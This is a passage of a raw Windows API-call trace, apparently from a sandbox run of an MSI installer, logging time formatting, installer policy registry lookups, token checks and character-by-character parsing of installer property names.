[0125.626] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x4e)) [0125.627] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.627] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x4e)) [0125.627] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.627] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x4e)) [0125.627] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.627] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0125.627] memcpy (in: _Dst=0x3b5081e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5081e) returned 0x3b5081e [0125.627] memcpy (in: _Dst=0x3b5082e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5082e) returned 0x3b5082e [0125.627] memcpy (in: _Dst=0x3b50832, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b50832) returned 0x3b50832 [0125.627] SetLastError (dwErrCode=0x0) [0125.627] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.627] memcpy (in: _Dst=0x3b50832, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50832) returned 0x3b50832 [0125.627] memcpy (in: _Dst=0x3b50838, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b50838) returned 0x3b50838 [0125.627] memcpy (in: _Dst=0x3b5083c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b5083c) returned 0x3b5083c [0125.627] SetLastError (dwErrCode=0x0) [0125.627] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.627] memcpy (in: _Dst=0x3b5083c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083c) returned 0x3b5083c [0125.627] GetCurrentThreadId () returned 0xf50 [0125.627] GetCurrentThreadId () returned 0xf50 [0125.627] SetEvent (hEvent=0x170) returned 1 [0125.627] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.682] lstrlenW (lpString="InstallInitialize") returned 17 [0125.682] SetLastError (dwErrCode=0xd) [0125.682] SetLastError (dwErrCode=0xd) [0125.682] lstrlenW (lpString="Time") returned 4 [0125.682] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x8c)) [0125.682] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.682] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x8c)) [0125.682] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.682] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x8c)) [0125.682] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.682] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0125.683] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0125.683] memcpy (in: _Dst=0x3b5083a, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0125.683] memcpy (in: _Dst=0x3b5083e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.683] SetLastError (dwErrCode=0x0) [0125.683] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.683] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.683] memcpy (in: _Dst=0x3b50844, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b50844) returned 0x3b50844 [0125.683] GetCurrentThreadId () returned 0xf50 [0125.683] GetCurrentThreadId () returned 0xf50 [0125.683] SetEvent (hEvent=0x170) returned 1 [0125.684] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.729] lstrlenW (lpString="Component") returned 9 [0125.730] lstrlenW (lpString="BinaryType") returned 10 [0125.730] memcpy (in: _Dst=0x36e398, _Src=0x36e394, _Size=0x64 | out: _Dst=0x36e398) returned 0x36e398 [0125.730] GetCurrentThreadId () returned 0xf50 [0125.730] GetCurrentThreadId () returned 0xf50 [0125.730] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce2a0 | out: phkResult=0x10ce2a0*=0x0) returned 0x2 [0125.730] GetCurrentThreadId () returned 0xf50 [0125.730] GetCurrentThreadId () returned 0xf50 [0125.730] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce010, TokenInformationLength=0x58, ReturnLength=0x10ce000 | out: TokenInformation=0x10ce010, ReturnLength=0x10ce000) returned 1 [0125.730] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce0f0, pSourceSid=0x10ce020*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce0f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0125.730] ConvertSidToStringSidW (in: Sid=0x10ce0f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce0d0 | out: StringSid=0x10ce0d0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0125.730] LocalFree (hMem=0x3d6020) returned 0x0 [0125.730] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce2a0 | out: phkResult=0x10ce2a0*=0x0) returned 0x2 [0125.731] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0125.731] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce358, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce348 | out: pSid=0x10ce348*=0x377110*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0125.731] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x377110*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce340 | out: IsMember=0x10ce340) returned 1 [0125.731] lstrlenW (lpString="Feature") returned 7 [0125.731] lstrlenW (lpString="Action") returned 6 [0125.731] lstrlenW (lpString="Installed") returned 9 [0125.731] lstrlenW (lpString="MsiEmbeddedChainer") returned 18 [0125.731] lstrlenW (lpString=",") returned 1 [0125.731] lstrlenW (lpString="ADDLOCAL") returned 8 [0125.732] lstrlenW (lpString="=") returned 1 [0125.732] lstrlenW (lpString=" ") returned 1 [0125.732] lstrlenW (lpString="=\"") returned 2 [0125.732] lstrlenW (lpString="\" ") returned 2 [0125.732] lstrlenW (lpString="=\"") returned 2 [0125.732] lstrlenW (lpString="\" ") returned 2 [0125.732] lstrlenW (lpString="=\"") returned 2 [0125.732] lstrlenW (lpString="\" ") returned 2 [0125.732] lstrlenW (lpString="Property") returned 8 [0125.732] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䕙䓲䕨䜷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cdf90, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0125.732] CExposedStream::Stat () returned 0x0 [0125.732] GlobalLock (hMem=0xf401b8) returned 0x21008a0 [0125.732] CExposedStream::Read () returned 0x0 [0125.732] memcpy (in: _Dst=0x21008a4, _Src=0x3b5081c, _Size=0x2 | out: _Dst=0x21008a4) returned 0x21008a4 [0125.732] memcpy (in: _Dst=0x21008b0, _Src=0x3b5081e, _Size=0x2 | out: _Dst=0x21008b0) returned 0x21008b0 [0125.732] memcpy (in: _Dst=0x21008bc, _Src=0x3b50820, _Size=0x2 | out: _Dst=0x21008bc) returned 0x21008bc [0125.733] memcpy (in: _Dst=0x21008c8, _Src=0x3b50822, _Size=0x2 | out: _Dst=0x21008c8) returned 0x21008c8 [0125.733] memcpy (in: _Dst=0x21008d4, _Src=0x3b50824, _Size=0x2 | out: _Dst=0x21008d4) returned 0x21008d4 [0125.733] memcpy (in: _Dst=0x21008e0, _Src=0x3b50826, _Size=0x2 | out: _Dst=0x21008e0) returned 0x21008e0 [0125.733] memcpy (in: _Dst=0x21008ec, _Src=0x3b50828, _Size=0x2 | out: _Dst=0x21008ec) returned 0x21008ec [0125.733] memcpy (in: _Dst=0x21008f8, _Src=0x3b5082a, _Size=0x2 | out: _Dst=0x21008f8) returned 0x21008f8 [0125.733] memcpy (in: _Dst=0x2100904, _Src=0x3b5082c, _Size=0x2 | out: _Dst=0x2100904) returned 0x2100904 [0125.733] memcpy (in: _Dst=0x2100910, _Src=0x3b5082e, _Size=0x2 | out: _Dst=0x2100910) returned 0x2100910 [0125.733] memcpy (in: _Dst=0x210091c, _Src=0x3b50830, _Size=0x2 | out: _Dst=0x210091c) returned 0x210091c [0125.733] memcpy (in: _Dst=0x2100928, _Src=0x3b50832, _Size=0x2 | out: _Dst=0x2100928) returned 0x2100928 [0125.733] memcpy (in: _Dst=0x2100934, _Src=0x3b50834, _Size=0x2 | out: _Dst=0x2100934) returned 0x2100934 [0125.733] memcpy (in: _Dst=0x2100940, _Src=0x3b50836, _Size=0x2 | out: _Dst=0x2100940) returned 0x2100940 [0125.733] memcpy (in: _Dst=0x210094c, _Src=0x3b50838, _Size=0x2 | out: _Dst=0x210094c) returned 0x210094c [0125.733] memcpy (in: _Dst=0x2100958, _Src=0x3b5083a, _Size=0x2 | out: _Dst=0x2100958) returned 0x2100958 [0125.733] memcpy (in: _Dst=0x2100964, _Src=0x3b5083c, _Size=0x2 | out: _Dst=0x2100964) returned 0x2100964 [0125.733] memcpy (in: _Dst=0x2100970, _Src=0x3b5083e, _Size=0x2 | out: _Dst=0x2100970) returned 0x2100970 [0125.733] memcpy (in: _Dst=0x210097c, _Src=0x3b50840, _Size=0x2 | out: _Dst=0x210097c) returned 0x210097c [0125.733] memcpy (in: _Dst=0x2100988, _Src=0x3b50842, _Size=0x2 | out: _Dst=0x2100988) returned 0x2100988 [0125.733] memcpy (in: _Dst=0x2100994, _Src=0x3b50844, _Size=0x2 | out: _Dst=0x2100994) returned 0x2100994 [0125.733] memcpy (in: _Dst=0x21009a0, _Src=0x3b50846, _Size=0x2 | out: _Dst=0x21009a0) returned 0x21009a0 [0125.733] memcpy (in: _Dst=0x21008a8, _Src=0x3b50848, _Size=0x2 | out: _Dst=0x21008a8) returned 0x21008a8 [0125.733] memcpy (in: _Dst=0x21008b4, _Src=0x3b5084a, _Size=0x2 | out: _Dst=0x21008b4) returned 0x21008b4 [0125.733] memcpy (in: _Dst=0x21008c0, _Src=0x3b5084c, _Size=0x2 | out: _Dst=0x21008c0) returned 0x21008c0 [0125.733] memcpy (in: _Dst=0x21008cc, _Src=0x3b5084e, _Size=0x2 | out: _Dst=0x21008cc) returned 0x21008cc [0125.733] memcpy (in: _Dst=0x21008d8, _Src=0x3b50850, _Size=0x2 | out: _Dst=0x21008d8) returned 0x21008d8 [0125.733] memcpy (in: _Dst=0x21008e4, _Src=0x3b50852, _Size=0x2 | out: _Dst=0x21008e4) returned 0x21008e4 [0125.733] memcpy (in: _Dst=0x21008f0, _Src=0x3b50854, _Size=0x2 | out: _Dst=0x21008f0) returned 0x21008f0 [0125.733] memcpy (in: _Dst=0x21008fc, _Src=0x3b50856, _Size=0x2 | out: _Dst=0x21008fc) returned 0x21008fc [0125.733] memcpy (in: _Dst=0x2100908, _Src=0x3b50858, _Size=0x2 | out: _Dst=0x2100908) returned 0x2100908 [0125.733] memcpy (in: _Dst=0x2100914, _Src=0x3b5085a, _Size=0x2 | out: _Dst=0x2100914) returned 0x2100914 [0125.733] memcpy (in: _Dst=0x2100920, _Src=0x3b5085c, _Size=0x2 | out: _Dst=0x2100920) returned 0x2100920 [0125.733] memcpy (in: _Dst=0x210092c, _Src=0x3b5085e, _Size=0x2 | out: _Dst=0x210092c) returned 0x210092c [0125.733] memcpy (in: _Dst=0x2100938, _Src=0x3b50860, _Size=0x2 | out: _Dst=0x2100938) returned 0x2100938 [0125.733] memcpy (in: _Dst=0x2100944, _Src=0x3b50862, _Size=0x2 | out: _Dst=0x2100944) returned 0x2100944 [0125.733] memcpy (in: _Dst=0x2100950, _Src=0x3b50864, _Size=0x2 | out: _Dst=0x2100950) returned 0x2100950 [0125.733] memcpy (in: _Dst=0x210095c, _Src=0x3b50866, _Size=0x2 | out: _Dst=0x210095c) returned 0x210095c [0125.733] memcpy (in: _Dst=0x2100968, _Src=0x3b50868, _Size=0x2 | out: _Dst=0x2100968) returned 0x2100968 [0125.734] memcpy (in: _Dst=0x2100974, _Src=0x3b5086a, _Size=0x2 | out: _Dst=0x2100974) returned 0x2100974 [0125.734] memcpy (in: _Dst=0x2100980, _Src=0x3b5086c, _Size=0x2 | out: _Dst=0x2100980) returned 0x2100980 [0125.734] memcpy (in: _Dst=0x210098c, _Src=0x3b5086e, _Size=0x2 | out: _Dst=0x210098c) returned 0x210098c [0125.734] memcpy (in: _Dst=0x2100998, _Src=0x3b50870, _Size=0x2 | out: _Dst=0x2100998) returned 0x2100998 [0125.734] memcpy (in: _Dst=0x21009a4, _Src=0x3b50872, _Size=0x2 | out: _Dst=0x21009a4) returned 0x21009a4 [0125.734] CExposedStream::Release () returned 0x0 [0125.734] lstrlenW (lpString="**********") returned 10 [0125.734] IsCharLowerW (ch=0x70) returned 1 [0125.734] IsCharLowerW (ch=0x42) returned 0 [0125.734] IsCharLowerW (ch=0x5a) returned 0 [0125.734] IsCharLowerW (ch=0x2e) returned 0 [0125.734] IsCharLowerW (ch=0x49) returned 0 [0125.734] IsCharLowerW (ch=0x4e) returned 0 [0125.735] IsCharLowerW (ch=0x53) returned 0 [0125.735] IsCharLowerW (ch=0x54) returned 0 [0125.735] IsCharLowerW (ch=0x41) returned 0 [0125.735] IsCharLowerW (ch=0x4c) returned 0 [0125.735] IsCharLowerW (ch=0x4c) returned 0 [0125.735] IsCharLowerW (ch=0x46) returned 0 [0125.735] IsCharLowerW (ch=0x4f) returned 0 [0125.735] IsCharLowerW (ch=0x4c) returned 0 [0125.735] IsCharLowerW (ch=0x44) returned 0 [0125.735] IsCharLowerW (ch=0x45) returned 0 [0125.735] IsCharLowerW (ch=0x52) returned 0 [0125.735] lstrlenW (lpString="=\"") returned 2 [0125.735] lstrlenW (lpString="\" ") returned 2 [0125.735] IsCharLowerW (ch=0x50) returned 0 [0125.735] IsCharLowerW (ch=0x72) returned 1 [0125.735] IsCharLowerW (ch=0x54) returned 0 [0125.735] IsCharLowerW (ch=0x41) returned 0 [0125.735] IsCharLowerW (ch=0x52) returned 0 [0125.736] IsCharLowerW (ch=0x47) returned 0 [0125.736] IsCharLowerW (ch=0x45) returned 0 [0125.736] IsCharLowerW (ch=0x54) returned 0 [0125.736] IsCharLowerW (ch=0x44) returned 0 [0125.736] IsCharLowerW (ch=0x49) returned 0 [0125.736] IsCharLowerW (ch=0x52) returned 0 [0125.736] lstrlenW (lpString="=\"") returned 2 [0125.736] lstrlenW (lpString="\" ") returned 2 [0125.736] IsCharLowerW (ch=0x53) returned 0 [0125.736] IsCharLowerW (ch=0x6f) returned 1 [0125.736] IsCharLowerW (ch=0x41) returned 0 [0125.736] IsCharLowerW (ch=0x4c) returned 0 [0125.736] IsCharLowerW (ch=0x4c) returned 0 [0125.736] IsCharLowerW (ch=0x55) returned 0 [0125.736] IsCharLowerW (ch=0x53) returned 0 [0125.736] IsCharLowerW (ch=0x45) returned 0 [0125.737] IsCharLowerW (ch=0x52) returned 0 [0125.737] IsCharLowerW (ch=0x53) returned 0 [0125.737] IsCharLowerW (ch=0x41) returned 0 [0125.737] IsCharLowerW (ch=0x52) returned 0 [0125.737] IsCharLowerW (ch=0x50) returned 0 [0125.737] IsCharLowerW (ch=0x4e) returned 0 [0125.737] IsCharLowerW (ch=0x4f) returned 0 [0125.737] IsCharLowerW (ch=0x52) returned 0 [0125.737] IsCharLowerW (ch=0x45) returned 0 [0125.737] IsCharLowerW (ch=0x50) returned 0 [0125.737] IsCharLowerW (ch=0x41) returned 0 [0125.737] IsCharLowerW (ch=0x49) returned 0 [0125.737] IsCharLowerW (ch=0x52) returned 0 [0125.738] IsCharLowerW (ch=0x41) returned 0 [0125.738] IsCharLowerW (ch=0x52) returned 0 [0125.738] IsCharLowerW (ch=0x50) returned 0 [0125.738] IsCharLowerW (ch=0x4e) returned 0 [0125.738] IsCharLowerW (ch=0x4f) returned 0 [0125.738] IsCharLowerW (ch=0x4d) returned 0 [0125.738] IsCharLowerW (ch=0x4f) returned 0 [0125.738] IsCharLowerW (ch=0x44) returned 0 [0125.738] IsCharLowerW (ch=0x49) returned 0 [0125.738] IsCharLowerW (ch=0x46) returned 0 [0125.738] IsCharLowerW (ch=0x59) returned 0 [0125.739] IsCharLowerW (ch=0x42) returned 0 [0125.739] IsCharLowerW (ch=0x5a) returned 0 [0125.739] IsCharLowerW (ch=0x2e) returned 0 [0125.739] IsCharLowerW (ch=0x57) returned 0 [0125.739] IsCharLowerW (ch=0x52) returned 0 [0125.739] IsCharLowerW (ch=0x41) returned 0 [0125.739] IsCharLowerW (ch=0x50) returned 0 [0125.739] IsCharLowerW (ch=0x50) returned 0 [0125.739] IsCharLowerW (ch=0x45) returned 0 [0125.739] IsCharLowerW (ch=0x44) returned 0 [0125.739] IsCharLowerW (ch=0x5f) returned 0 [0125.739] IsCharLowerW (ch=0x52) returned 0 [0125.739] IsCharLowerW (ch=0x45) returned 0 [0125.739] IsCharLowerW (ch=0x47) returned 0 [0125.739] IsCharLowerW (ch=0x49) returned 0 [0125.739] IsCharLowerW (ch=0x53) returned 0 [0125.739] IsCharLowerW (ch=0x54) returned 0 [0125.739] IsCharLowerW (ch=0x52) returned 0 [0125.740] IsCharLowerW (ch=0x41) returned 0 [0125.740] IsCharLowerW (ch=0x54) returned 0 [0125.740] IsCharLowerW (ch=0x49) returned 0 [0125.740] IsCharLowerW (ch=0x4f) returned 0 [0125.740] IsCharLowerW (ch=0x4e) returned 0 [0125.740] IsCharLowerW (ch=0x42) returned 0 [0125.740] IsCharLowerW (ch=0x5a) returned 0 [0125.740] IsCharLowerW (ch=0x2e) returned 0 [0125.740] IsCharLowerW (ch=0x56) returned 0 [0125.740] IsCharLowerW (ch=0x45) returned 0 [0125.740] IsCharLowerW (ch=0x52) returned 0 [0125.741] IsCharLowerW (ch=0x42) returned 0 [0125.741] IsCharLowerW (ch=0x5a) returned 0 [0125.741] IsCharLowerW (ch=0x2e) returned 0 [0125.741] IsCharLowerW (ch=0x43) returned 0 [0125.741] IsCharLowerW (ch=0x55) returned 0 [0125.741] IsCharLowerW (ch=0x52) returned 0 [0125.741] IsCharLowerW (ch=0x52) returned 0 [0125.741] IsCharLowerW (ch=0x45) returned 0 [0125.741] IsCharLowerW (ch=0x4e) returned 0 [0125.741] IsCharLowerW (ch=0x54) returned 0 [0125.741] IsCharLowerW (ch=0x44) returned 0 [0125.741] IsCharLowerW (ch=0x49) returned 0 [0125.741] IsCharLowerW (ch=0x52) returned 0 [0125.742] IsCharLowerW (ch=0x42) returned 0 [0125.742] IsCharLowerW (ch=0x5a) returned 0 [0125.742] IsCharLowerW (ch=0x2e) returned 0 [0125.742] IsCharLowerW (ch=0x57) returned 0 [0125.742] IsCharLowerW (ch=0x52) returned 0 [0125.742] IsCharLowerW (ch=0x41) returned 0 [0125.742] IsCharLowerW (ch=0x50) returned 0 [0125.742] IsCharLowerW (ch=0x50) returned 0 [0125.742] IsCharLowerW (ch=0x45) returned 0 [0125.742] IsCharLowerW (ch=0x44) returned 0 [0125.742] IsCharLowerW (ch=0x5f) returned 0 [0125.742] IsCharLowerW (ch=0x41) returned 0 [0125.742] IsCharLowerW (ch=0x50) returned 0 [0125.743] IsCharLowerW (ch=0x50) returned 0 [0125.743] IsCharLowerW (ch=0x49) returned 0 [0125.743] IsCharLowerW (ch=0x44) returned 0 [0125.743] IsCharLowerW (ch=0x42) returned 0 [0125.743] IsCharLowerW (ch=0x5a) returned 0 [0125.743] IsCharLowerW (ch=0x2e) returned 0 [0125.743] IsCharLowerW (ch=0x43) returned 0 [0125.744] IsCharLowerW (ch=0x4f) returned 0 [0125.744] IsCharLowerW (ch=0x4d) returned 0 [0125.744] IsCharLowerW (ch=0x50) returned 0 [0125.744] IsCharLowerW (ch=0x41) returned 0 [0125.744] IsCharLowerW (ch=0x4e) returned 0 [0125.744] IsCharLowerW (ch=0x59) returned 0 [0125.744] IsCharLowerW (ch=0x4e) returned 0 [0125.744] IsCharLowerW (ch=0x41) returned 0 [0125.744] IsCharLowerW (ch=0x4d) returned 0 [0125.744] IsCharLowerW (ch=0x45) returned 0 [0125.744] IsCharLowerW (ch=0x42) returned 0 [0125.744] IsCharLowerW (ch=0x5a) returned 0 [0125.744] IsCharLowerW (ch=0x2e) returned 0 [0125.744] IsCharLowerW (ch=0x42) returned 0 [0125.745] IsCharLowerW (ch=0x41) returned 0 [0125.745] IsCharLowerW (ch=0x53) returned 0 [0125.745] IsCharLowerW (ch=0x45) returned 0 [0125.745] IsCharLowerW (ch=0x4e) returned 0 [0125.745] IsCharLowerW (ch=0x41) returned 0 [0125.745] IsCharLowerW (ch=0x4d) returned 0 [0125.745] IsCharLowerW (ch=0x45) returned 0 [0125.745] IsCharLowerW (ch=0x42) returned 0 [0125.745] IsCharLowerW (ch=0x5a) returned 0 [0125.745] IsCharLowerW (ch=0x2e) returned 0 [0125.745] IsCharLowerW (ch=0x45) returned 0 [0125.745] IsCharLowerW (ch=0x4c) returned 0 [0125.746] IsCharLowerW (ch=0x45) returned 0 [0125.746] IsCharLowerW (ch=0x56) returned 0 [0125.746] IsCharLowerW (ch=0x41) returned 0 [0125.746] IsCharLowerW (ch=0x54) returned 0 [0125.746] IsCharLowerW (ch=0x45) returned 0 [0125.746] IsCharLowerW (ch=0x5f) returned 0 [0125.746] IsCharLowerW (ch=0x45) returned 0 [0125.746] IsCharLowerW (ch=0x58) returned 0 [0125.746] IsCharLowerW (ch=0x45) returned 0 [0125.746] IsCharLowerW (ch=0x43) returned 0 [0125.746] IsCharLowerW (ch=0x55) returned 0 [0125.746] IsCharLowerW (ch=0x54) returned 0 [0125.746] IsCharLowerW (ch=0x41) returned 0 [0125.746] IsCharLowerW (ch=0x42) returned 0 [0125.746] IsCharLowerW (ch=0x4c) returned 0 [0125.746] IsCharLowerW (ch=0x45) returned 0 [0125.747] IsCharLowerW (ch=0x42) returned 0 [0125.747] IsCharLowerW (ch=0x5a) returned 0 [0125.747] IsCharLowerW (ch=0x2e) returned 0 [0125.747] IsCharLowerW (ch=0x49) returned 0 [0125.747] IsCharLowerW (ch=0x4e) returned 0 [0125.747] IsCharLowerW (ch=0x53) returned 0 [0125.747] IsCharLowerW (ch=0x54) returned 0 [0125.747] IsCharLowerW (ch=0x41) returned 0 [0125.747] IsCharLowerW (ch=0x4c) returned 0 [0125.747] IsCharLowerW (ch=0x4c) returned 0 [0125.747] IsCharLowerW (ch=0x4d) returned 0 [0125.747] IsCharLowerW (ch=0x4f) returned 0 [0125.747] IsCharLowerW (ch=0x44) returned 0 [0125.747] IsCharLowerW (ch=0x45) returned 0 [0125.747] IsCharLowerW (ch=0x42) returned 0 [0125.747] IsCharLowerW (ch=0x5a) returned 0 [0125.747] IsCharLowerW (ch=0x2e) returned 0 [0125.747] IsCharLowerW (ch=0x57) returned 0 [0125.747] IsCharLowerW (ch=0x52) returned 0 [0125.747] IsCharLowerW (ch=0x41) returned 0 [0125.747] IsCharLowerW (ch=0x50) returned 0 [0125.747] IsCharLowerW (ch=0x50) returned 0 [0125.747] IsCharLowerW (ch=0x45) returned 0 [0125.747] IsCharLowerW (ch=0x52) returned 0 [0125.747] IsCharLowerW (ch=0x56) returned 0 [0125.748] IsCharLowerW (ch=0x45) returned 0 [0125.748] IsCharLowerW (ch=0x52) returned 0 [0125.748] IsCharLowerW (ch=0x53) returned 0 [0125.748] IsCharLowerW (ch=0x49) returned 0 [0125.748] IsCharLowerW (ch=0x4f) returned 0 [0125.748] IsCharLowerW (ch=0x4e) returned 0 [0125.748] IsCharLowerW (ch=0x42) returned 0 [0125.748] IsCharLowerW (ch=0x5a) returned 0 [0125.748] IsCharLowerW (ch=0x2e) returned 0 [0125.748] IsCharLowerW (ch=0x45) returned 0 [0125.748] IsCharLowerW (ch=0x58) returned 0 [0125.748] IsCharLowerW (ch=0x49) returned 0 [0125.748] IsCharLowerW (ch=0x54) returned 0 [0125.748] IsCharLowerW (ch=0x43) returned 0 [0125.748] IsCharLowerW (ch=0x4f) returned 0 [0125.748] IsCharLowerW (ch=0x44) returned 0 [0125.748] IsCharLowerW (ch=0x45) returned 0 [0125.749] IsCharLowerW (ch=0x42) returned 0 [0125.749] IsCharLowerW (ch=0x5a) returned 0 [0125.749] IsCharLowerW (ch=0x2e) returned 0 [0125.749] IsCharLowerW (ch=0x49) returned 0 [0125.749] IsCharLowerW (ch=0x4e) returned 0 [0125.749] IsCharLowerW (ch=0x53) returned 0 [0125.749] IsCharLowerW (ch=0x54) returned 0 [0125.749] IsCharLowerW (ch=0x41) returned 0 [0125.749] IsCharLowerW (ch=0x4c) returned 0 [0125.749] IsCharLowerW (ch=0x4c) returned 0 [0125.749] IsCharLowerW (ch=0x5f) returned 0 [0125.749] IsCharLowerW (ch=0x53) returned 0 [0125.749] IsCharLowerW (ch=0x55) returned 0 [0125.749] IsCharLowerW (ch=0x43) returned 0 [0125.749] IsCharLowerW (ch=0x43) returned 0 [0125.749] IsCharLowerW (ch=0x45) returned 0 [0125.749] IsCharLowerW (ch=0x53) returned 0 [0125.749] IsCharLowerW (ch=0x53) returned 0 [0125.749] IsCharLowerW (ch=0x5f) returned 0 [0125.749] IsCharLowerW (ch=0x43) returned 0 [0125.749] IsCharLowerW (ch=0x4f) returned 0 [0125.749] IsCharLowerW (ch=0x44) returned 0 [0125.749] IsCharLowerW (ch=0x45) returned 0 [0125.750] IsCharLowerW (ch=0x53) returned 0 [0125.750] IsCharLowerW (ch=0x4d) returned 0 [0125.750] IsCharLowerW (ch=0x61) returned 1 [0125.750] IsCharLowerW (ch=0x50) 